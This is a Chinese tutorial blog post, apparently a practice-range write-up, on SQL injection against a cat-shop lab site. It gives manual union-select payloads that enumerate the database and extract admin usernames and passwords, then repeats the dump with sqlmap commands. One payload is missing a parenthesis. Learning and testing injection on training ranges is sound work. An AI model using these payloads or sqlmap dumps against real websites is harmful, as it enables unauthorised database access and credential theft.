SQL手工注入练习:辛巴猫舍 + Sqlmap秒杀

一、SQL手工注入

1、登录靶场

输入网址:http://pu2lh35s.ia.aqlab.cn/      或者可以直接点击如下链接跳转宠物猫 异国短毛猫 纯种猫 加菲猫 波斯猫 辛巴猫舍 纯种双色/梵文波斯、异国小猫 CFA注册猫舍

试着点击查看新闻,发现域名后面出现?id=1

说明存在着数据库的交互

那么这里很有可能是注入点,判断判断。

2、判断是否存在SQL注入漏洞

构造and 1=1,发现页面未报错

接着改为 and 1=2

可以发现页面出错,说明存在SQL注入漏洞

3、判断数据库字段数

这里使用order by()函数进行判断

order by()函数会根据后面跟的参数来进行排序

在MySQL语法中,若order by后面的参数超过了列数后将会报错,我们可以利用这一点来判断一共有几个字段。

发现order by1和order by 2均支持,order by 3后页面出错,所以可以判断数据库只有两个字段。

4、判断回显点

回显点是指页面中能显示数据库信息的板块。

我们可以利用联合查询同时查询这两个数据

注意:在MySQL语句中,页面一次只能显示一行查询的内容,而且是先查后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容

于是我们构造语句:?id=1 and 1=2 union select 1,2

回显2,说明第二个数有用

5、查询相关内容

(1)查询表

a、可以先查询一下当前数据库的名字

构造语句:id=1 and 1=2 union select 1,database()          #即将2的位置替换成database()

查询到数据库名为:maoshe

b、查询当前数据库所有的表的名字

构造语句:?id=1 and 1=2 union select 1,group_concat(table_name from information_schema.tables where table_schema=database()

其中group_concat()函数是将查询结果放到同一行

查询到四个表:admin,dirs,news,xss

一般关于管理员的信息都在admin表中

(2)查询字段名

查询表admin的列名

构造语句:?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘admin’

查询到三个列,分别是:id、username、password

接下来就可以查询用户名和密码了。

(3)查询字段内容

a、查询登录的用户名

构造语句:?id=1 and 1=2 union select 1,group_concat(username) from admin

查询到登录的用户名:admin

b、查询登陆密码

构造语句:?id=1 and 1=2 union select 1,group_concat(password) from admin

查询到登陆密码:hellohack,zkaqbanban

至此SQL注入的手工注入过程就结束了。

下面介绍一下不用动脑子的sqlmap工具注入

二、Sqlmap工具秒杀

由于手工注入过于的麻烦,所以我们可以利用sqlmap工具进行爆破

1、SQLMap直接爆破链接

可以先把链接直接用SQLMap进行爆破,试试水

语句如下:

# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1"

可以发现出来了些许东西,但没什么用,直接不管

2、查询数据库

在刚刚的语句末尾加上 --dbs 表示查询数据库

# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --dbs

直接出结果:

3、爆破表

上面我们已经查询到了三个数据库,这里爆破maoshe数据库的所有表  --tables

构造语句:

# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe --tables

参数:-D 数据库名 --tables

直接爆破出了数据库的四个表

4、爆破列

爆破表admin的列  --columns

构造语句:

# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns

参数:-D 数据库名 -T  表名 --columns

爆破出三个列,有我们需要的信息:username、password

5、爆破字段

直接爆破用户名和密码  --dump

构造语句:

# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe -T admin -C username,password --dump

参数:-D 数据库名 -T 表名 -C 段名 --dump

直接就爆破出了用户名和密码。

sql注入大体思路:数据库名-->表名-->列名-->段内容

至此试验结束。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值